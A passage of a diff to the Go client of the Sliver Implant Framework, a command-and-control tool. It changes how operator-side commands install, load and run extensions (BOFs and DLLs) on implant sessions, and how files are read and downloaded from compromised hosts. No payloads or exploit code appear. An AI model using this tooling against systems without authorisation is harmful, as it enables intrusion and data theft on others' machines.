t.Fatalf("Expected missing files.path error, got none")
}
}
}
-174
View File
@@ -1,174 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
} else {
installFromDir(extLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
-54
View File
@@ -1,54 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
+151 -193
View File
@@ -1,23 +1,5 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -30,49 +12,38 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
var commandMap map[string]extensionCommand
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionArgument struct {
@@ -82,100 +53,67 @@ type extensionArgument struct {
Optional bool `json:"optional"`
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
return
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
extCmds, err := ParseExtensions(dirPath)
if err != nil {
return
}
// do not add if the command already exists
if CmdExists(extCmd.CommandName, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
ExtensionRegisterCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
return extensionsCmds, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -183,11 +121,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -195,15 +133,12 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "integer", "short":
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -220,33 +155,60 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
if ext.Name == extName {
return nil
}
}
@@ -255,7 +217,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
@@ -265,17 +227,31 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Name: ext.Name,
Data: binData,
OS: goos,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -288,10 +264,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
@@ -299,47 +275,47 @@ func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, c
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = loadExtension(ctx, session, con, &ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -354,23 +330,22 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.CommandName
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -379,42 +354,24 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
@@ -426,8 +383,6 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
@@ -494,8 +449,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
}
// CmdExists - checks if a command exists
func CmdExists(name string, app *grumble.App) bool {
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
@@ -503,3 +457,7 @@ func CmdExists(name string, app *grumble.App) bool {
}
return false
}
func init() {
commandMap = make(map[string]extensionCommand)
}
-77
View File
@@ -1,77 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+3 -22
View File
@@ -27,7 +27,6 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,14 +49,10 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -79,30 +74,16 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootFileType := ctx.Flags.String("file-type")
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, fileType, ctx, con)
con.Printf("\n")
con.PrintErrorf("%s\n", err)
return
}
}
if ctx.Flags.Bool("colorize-output") {
+53 -139
View File
@@ -22,37 +22,46 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
recurse := ctx.Flags.Bool("recurse")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -67,155 +76,60 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, ctx, con)
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, ctx, con)
PrintDownload(download, ctx, con)
}
}
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
